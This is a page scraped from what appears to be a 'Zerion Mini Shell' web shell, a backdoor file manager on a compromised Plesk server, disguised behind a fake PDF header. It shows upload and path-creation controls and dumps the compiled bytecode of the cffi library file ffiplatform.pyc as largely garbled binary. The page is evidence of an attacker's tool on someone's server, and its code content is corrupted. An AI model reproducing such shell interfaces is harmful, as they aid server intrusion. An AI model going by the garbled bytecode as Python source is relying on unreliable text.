%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyc

�
��]c@sddlZddlZddlmZdddddgZdd	�Zd
dd�Zd
dd�Zydd
l	m
Z
Wnek
r�d�Z
nXd�Zye
efZddlZWn#ek
r�e
ZddlZnXd�Zd�Zd�ZdS(i����Ni(tVerificationErrortsourcestinclude_dirstlibrary_dirst
extra_objectstdependscKs`t�ddlm}|g}x'|D]}|jtjj|��q'W|d|d||�S(Ni����(t	ExtensiontnameR(t_hack_at_distutilstdistutils.coreRtappendtostpathtnormpath(tsrcfilenametmodnameRtkwdsRt
allsourcestsrc((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyt
get_extensions	
icCs�t�tjj�}z+t||||�}tjj|�}WdxB|j�D]4\}}tjj|�|krQ|tj|<qQqQWX|S(s-Compile a C extension module using distutils.N(	RRtenvirontcopyt_buildRtabspathtitemstget(ttmpdirtexttcompiler_verbosetdebugt
saved_environtoutputfilenametkeytvalue((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pytcompilescCsiddlm}ddl}ddl}|i|gd6�}|j�|jd�}|dkrrtjj	}nd|f|d<dt
f|d<d|f|d<d|f|d	<yo|jjd
�p�d
}z?|jj
|�|jd�|jd�}	|	j�\}
Wd|jj|�XWnA|jj|jjfk
rd}td|jj|f��nX|
S(Ni����(tDistributiontext_modulest	build_exttffiplatformRtforcet	build_libt
build_tempis%s: %s(R	R#tdistutils.errorst
distutils.logtparse_config_filestget_option_dicttNonetsystflagsRtTruetlogt
set_thresholdt
set_verbositytrun_commandtget_command_objtget_outputsterrorstCompileErrort	LinkErrorRt	__class__t__name__(RRRRR#t	distutilstdisttoptionst	old_leveltcmd_objtsonamete((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyR s.


 (tsamefilecCs"tjj|�tjj|�kS(N(RRR(tf1tf2((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyRDAscCs�tjj|�s|S|}g}x�tr�|}tjj|�\}}||ks\|r`|S|j|�y0t|tj�r�|j�tjj	|�SWq%t
k
r�q%Xq%WdS(N(RRtisabsR1tsplitR
RDtcurdirtreversetjointOSError(RtdirtnamestprevdirR((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pytmaybe_relative_pathDs 	


cCs#t|t�r/|jdt|�|f�n�t|t�r�t|j��}|jdt|��x�|D]$}t||�t|||�qnWn�t|tt	f�r�|jdt|��xW|D]}t||�q�Wn9t|t
�r|jd|f�ntd|f��dS(Ns%ds%ss%dds%dls%dis7the keywords to verify() contains unsupported object %r(t
isinstancetstrtwritetlentdicttsortedtkeyst_flattentlistttupletint_or_longt	TypeError(txtfRWR R!((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyRX_s  


cCs#tj�}t||�|j�S(N(t	cStringIOtStringIORXtgetvalue(R]R^((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pytflattenrs
cCs:tjdkr6yddl}Wq6tk
r2q6XndS(Ntwin32i����(R/tplatformt
setuptoolstImportError(Re((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyRws

((R/RterrorRtLIST_OF_FILE_NAMESRR.R"Rtos.pathRDRfRPtinttlongR[R_t	NameErrortioRXRbR(((sG/opt/plesk/python/2.7/lib64/python2.7/site-packages/cffi/ffiplatform.pyt<module>s(	

	
		

Zerion Mini Shell 1.0